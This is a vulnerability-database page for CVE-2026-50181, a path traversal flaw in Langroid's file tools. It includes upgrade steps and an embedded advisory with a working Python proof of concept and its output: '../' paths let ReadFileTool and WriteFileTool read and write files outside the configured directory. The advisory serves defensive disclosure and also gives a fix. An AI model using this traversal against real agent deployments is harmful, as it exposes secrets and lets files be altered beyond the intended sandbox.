CVE-2026-50181: Langroid Path Traversal Vulnerability
HIGHCVE-2026-50181 is a HIGH (CVSS 7.1) path traversal vulnerability (CWE-23: Relative Path Traversal) affecting Langroid libraries in the PyPI ecosystem. The issue involves path traversal in the file tools allows read/write outside configured current directory. Remediation is available by upgrading affected packages to version 0.64.0.
CVE-2026-50181 at a Glance
Security Impact
CVSS: 7.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
How to Fix CVE-2026-50181
To remediate this vulnerability, upgrade all affected Langroid dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install langroid>=0.64.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show langroid
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-50181, inspect your installed packages using pip:
pip show langroid
Analyze the terminal output to locate any version of Langroid in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.64.0), your application is affected.
Note: The pip show langroid command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In Langroid, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-50181 Affected Langroid Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
langroid
|
PyPI |
< 0.64.0
|
0.64.0
|
References
Frequently Asked Questions
What is CVE-2026-50181?
Which Langroid versions are affected?
What version fixes CVE-2026-50181?
Is langroid affected?
What is the CVSS score of CVE-2026-50181?
What CWE is associated with CVE-2026-50181?
How can I check PyPI dependencies for CVE-2026-50181?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-fg23-3346-88f5",
"modified" : "2026-07-02T17:38:04Z",
"published" : "2026-07-02T17:38:03Z",
"aliases" : [ "CVE-2026-50181" ],
"summary" : "Langroid: Path traversal in the file tools allows read/write outside configured current directory",
"details" : "### Summary\n\nLangroid's `ReadFileTool` and `WriteFileTool` appear to treat `curr_dir` as the intended working-directory boundary for file operations. However, the tools only change the process working directory to `curr_dir` and then operate on the user-supplied `file_path` without resolving and enforcing that the final path remains inside `curr_dir`.\n\nAs a result, a tool caller can supply path traversal sequences such as `../secret.txt` to read files outside the configured current directory, or `../written_by_tool.txt` to write files outside that directory.\n\nThis can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on `curr_dir` to restrict file access to a project/workspace directory.\n\n### Details\n\nAffected components:\n\n- `langroid/agent/tools/file_tools.py`\n- `langroid/utils/system.py`\n\nRelevant behavior observed:\n\n`ReadFileTool` contains a comment indicating the intended assumption:\n\n```text\n# ASSUME: file_path should be relative to the curr_dir\n\nThe tool then changes into the configured current directory and calls read_file(self.file_path).\n\nWriteFileTool similarly resolves curr_dir, changes into that directory, and calls create_file(self.file_path, self.content).\n\nThe issue is that changing the process working directory does not prevent traversal. A path such as ../secret.txt is still valid and resolves outside the configured curr_dir.\n\nIn local testing, ReadFileTool successfully read a file outside the configured sandbox directory, and WriteFileTool successfully wrote a file outside the configured sandbox directory.\n\nPoC\n\nTested locally against the current Langroid repository checkout.\n\nEnvironment:\n\nPython 3.12\nLangroid installed in editable mode with pip install -e .\n\nPoC script:\n\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nimport os\n\nos.environ[\"docker\"] = \"false\"\nos.environ[\"DOCKER\"] = \"false\"\n\nfrom langroid.agent.tools.file_tools import ReadFileTool, WriteFileTool\n\n\nclass DummyIndex:\n def add(self, files):\n print(\"dummy git add:\", files)\n\n def commit(self, message):\n print(\"dummy git commit:\", message)\n\n\nclass DummyRepo:\n index = DummyIndex()\n\n\nwith TemporaryDirectory() as root:\n base = Path(root)\n sandbox = base / \"sandbox\"\n sandbox.mkdir()\n\n secret = base / \"secret.txt\"\n secret.write_text(\"LANGROID_TOOL_ESCAPE_PROOF\", encoding=\"utf-8\")\n\n ReadSandbox = ReadFileTool.create(get_curr_dir=lambda: sandbox)\n read_tool = ReadSandbox(file_path=\"../secret.txt\")\n\n print(\"READ TOOL RESULT:\")\n print(read_tool.handle())\n\n WriteSandbox = WriteFileTool.create(\n get_curr_dir=lambda: sandbox,\n get_git_repo=lambda: DummyRepo(),\n )\n\n write_tool = WriteSandbox(\n file_path=\"../written_by_tool.txt\",\n content=\"WRITTEN_BY_LANGROID_TOOL\",\n language=\"text\",\n )\n\n print(\"WRITE TOOL RESULT:\")\n print(write_tool.handle())\n\n outside = base / \"written_by_tool.txt\"\n print(\"outside exists:\", outside.exists())\n print(\"outside content:\", outside.read_text(encoding=\"utf-8\"))\n\nObserved output:\n\nREAD TOOL RESULT:\n\n CONTENTS of ../secret.txt:\n (Line numbers added for reference only!)\n ---------------------------\n 1: LANGROID_TOOL_ESCAPE_PROOF\n\nWRITE TOOL RESULT:\nContent created/updated in: ..\\written_by_tool.txt\ndummy git add: ['../written_by_tool.txt']\ndummy git commit: Agent write file tool\nContent written to ../written_by_tool.txt and committed\noutside exists: True\noutside content: WRITTEN_BY_LANGROID_TOOL\n\nThis demonstrates that both read and write operations can escape the configured curr_dir using ../ traversal.\n\nImpact\n\nIf an application enables Langroid's file tools and treats curr_dir as a project, workspace, repository, or sandbox boundary, a tool caller can escape that boundary.\n\nPotential impact includes:\n\nReading files outside the intended workspace.\nWriting files outside the intended workspace.\nExposing local secrets, configuration files, source files, environment files, or other project-adjacent files.\nModifying files outside the intended project directory if WriteFileTool is enabled.\n\nThis is especially relevant in agentic workflows where an LLM or external user can influence tool arguments.\n\nThis report does not claim unauthenticated remote exploitation by default. The impact depends on how an application exposes Langroid file tools and whether curr_dir is intended to restrict file access.\n\nSuggested remediation\n\nBefore reading, writing, or listing files, resolve the configured base directory and the requested target path, then reject any path that escapes the base directory.\n\nExample patch pattern:\n\nfrom pathlib import Path\n\ndef safe_join(base_dir: str | Path, user_path: str | Path) -> Path:\n base = Path(base_dir).resolve()\n target = (base / user_path).resolve()\n\n if target != base and base not in target.parents:\n raise ValueError(\"Path escapes configured current directory\")\n\n return target\n\nThen use the resolved safe path for ReadFileTool, WriteFileTool, and ListDirTool.\n\nSuggested regression tests:\n\nReadFileTool(file_path=\"../secret.txt\") should be rejected.\nWriteFileTool(file_path=\"../outside.txt\") should be rejected.\nAbsolute paths outside curr_dir should be rejected.\nSymlink-based escapes should be rejected after final path resolution.\nNormal relative paths inside curr_dir, such as src/main.py, should continue to work.\n\n[Langroid CVE Report.pdf](https://github.com/user-attachments/files/28333958/Langroid.CVE.Report.pdf)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "langroid"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.64.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.63.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/langroid/langroid/security/advisories/GHSA-fg23-3346-88f5"
}, {
"type" : "WEB",
"url" : "https://github.com/langroid/langroid/commit/56e2756ecab70a70a7e6edbee2f2187b8484683e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/langroid/langroid"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-23" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-02T17:38:03Z",
"nvd_published_at" : null
}
}